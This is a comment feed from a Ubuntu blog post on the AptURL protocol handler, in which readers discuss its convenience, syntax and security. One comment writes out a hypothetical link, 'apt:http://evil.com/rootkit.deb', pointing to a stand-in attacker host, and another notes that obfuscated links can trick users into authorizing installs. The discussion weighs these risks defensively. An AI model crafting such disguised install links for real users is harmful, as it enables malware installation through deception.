Comments on: The AptURL Protocol Handler in Ubuntu 7.10 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/ News, Tips, and How-Tos for Ubuntu Linux Tue, 01 May 2012 21:09:32 +0000 hourly 1 http://wordpress.org/?v=3.3.2 By: Anonymous http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-32529 Anonymous Fri, 17 Oct 2008 02:19:43 +0000 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-32529 @ børge u must have Ubuntu Firefox Modifications/ubufox or open it with apturl. @ børge

u must have Ubuntu Firefox Modifications/ubufox or open it with apturl.

]]> By: Playdeb - The Gaming Repository for Ubuntu | Tombuntu http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-27336 Playdeb - The Gaming Repository for Ubuntu | Tombuntu Tue, 02 Sep 2008 17:01:05 +0000 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-27336 [...] can be easily added by installing a DEB package. The install links in the games list require AptURL, which is standard in Ubuntu since 7.10, but Playdeb requires an updated version to be installed. A [...] [...] can be easily added by installing a DEB package. The install links in the games list require AptURL, which is standard in Ubuntu since 7.10, but Playdeb requires an updated version to be installed. A [...]

]]> By: erlehmann http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-26767 erlehmann Fri, 29 Aug 2008 10:20:55 +0000 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-26767 This isn't a URL, rather a URN, read on the difference. I'd prefer a synthay like . This isn’t a URL, rather a URN, read on the difference.

I’d prefer a synthay like .

]]> By: dvd video to vcd? - Page 2 - India Broadband Forum http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-12172 dvd video to vcd? - Page 2 - India Broadband Forum Mon, 28 Apr 2008 15:59:34 +0000 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-12172 [...] dvd video to vcd? The AptURL Protocol Handler in Ubuntu 7.10 | Tombuntu __________________ "Thou shalt not follow the null pointer for at it's end madness and chaos [...] [...] dvd video to vcd? The AptURL Protocol Handler in Ubuntu 7.10 | Tombuntu __________________ "Thou shalt not follow the null pointer for at it’s end madness and chaos [...]

]]> By: defcon http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-3996 defcon Thu, 06 Dec 2007 23:26:03 +0000 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-3996 apt-url is awesome, cnr really sucks, all cnr is is another repository added, and with apt-rul you cannot get a rootkit installed because there isnt any in the repo's lol apt-url is awesome, cnr really sucks, all cnr is is another repository added, and with apt-rul you cannot get a rootkit installed because there isnt any in the repo’s lol

]]> By: Is CNR the Easiest Way to Get Software in Ubuntu? | Tombuntu http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-3985 Is CNR the Easiest Way to Get Software in Ubuntu? | Tombuntu Thu, 06 Dec 2007 17:00:18 +0000 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-3985 [...] As for making software installation easy, CNR is trying to solve a problem that Ubuntu doesn’t have. Ubuntu’s repositories are excellent, and installing software is easy with Synaptic, Add/Remove, and the AptURL protocol handler. [...] [...] As for making software installation easy, CNR is trying to solve a problem that Ubuntu doesn’t have. Ubuntu’s repositories are excellent, and installing software is easy with Synaptic, Add/Remove, and the AptURL protocol handler. [...]

]]> By: Akira Ohgaki http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-2164 Akira Ohgaki Sun, 28 Oct 2007 13:35:47 +0000 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-2164 is this good? apt:This! Bookmarklet http://conceptualcaves.com/goodies/aptthis/ is this good?

apt:This! Bookmarklet
http://conceptualcaves.com/goodies/aptthis/

]]> By: Fr33d0m http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-2110 Fr33d0m Wed, 24 Oct 2007 13:08:07 +0000 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-2110 verbalshadow, You make a valid point about the repos, and I hope it is that way, but you miss the point with "either way you have to grant permission to install it." The only way to get a user to install things is to get their permission. Yes you have to use your password, but it isn't all that difficult to convince someone to do that. And if you can obfuscate the real link then you can get even the partially aware folks to authorize it. verbalshadow,

You make a valid point about the repos, and I hope it is that way, but you miss the point with “either way you have to grant permission to install it.”

The only way to get a user to install things is to get their permission. Yes you have to use your password, but it isn’t all that difficult to convince someone to do that. And if you can obfuscate the real link then you can get even the partially aware folks to authorize it.

]]> By: AptURL « 轉折，然後向上 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-2102 AptURL « 轉折，然後向上 Wed, 24 Oct 2007 03:12:36 +0000 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-2102 [...] October 24th, 2007 via: http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/  [...] [...] October 24th, 2007 via: http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/  [...]

]]> By: verbalshadow http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-2098 verbalshadow Tue, 23 Oct 2007 20:58:19 +0000 http://tombuntu.com/index.php/2007/10/22/the-apturl-protocol-handler-in-ubuntu-710/#comment-2098 @Fr33d0m Not so long as it only grabs from your pre-configured repos. It may not be the case but from the looks of the URL it is. If you can do something like apt:http://evil.com/rootkit.deb then maybe. But you could still easily do this without apturl by just downloading and opening using gdebi, either way you have to grant permission to install it. So it's the same as before. Install from trusted sources. I havn't tested it yet so i'm not sure if the above url would work. @Fr33d0m

Not so long as it only grabs from your pre-configured repos. It may not be the case but from the looks of the URL it is.

If you can do something like apt:http://evil.com/rootkit.deb then maybe.
But you could still easily do this without apturl by just downloading and opening using gdebi, either way you have to grant permission to install it. So it’s the same as before. Install from trusted sources.

I havn’t tested it yet so i’m not sure if the above url would work.

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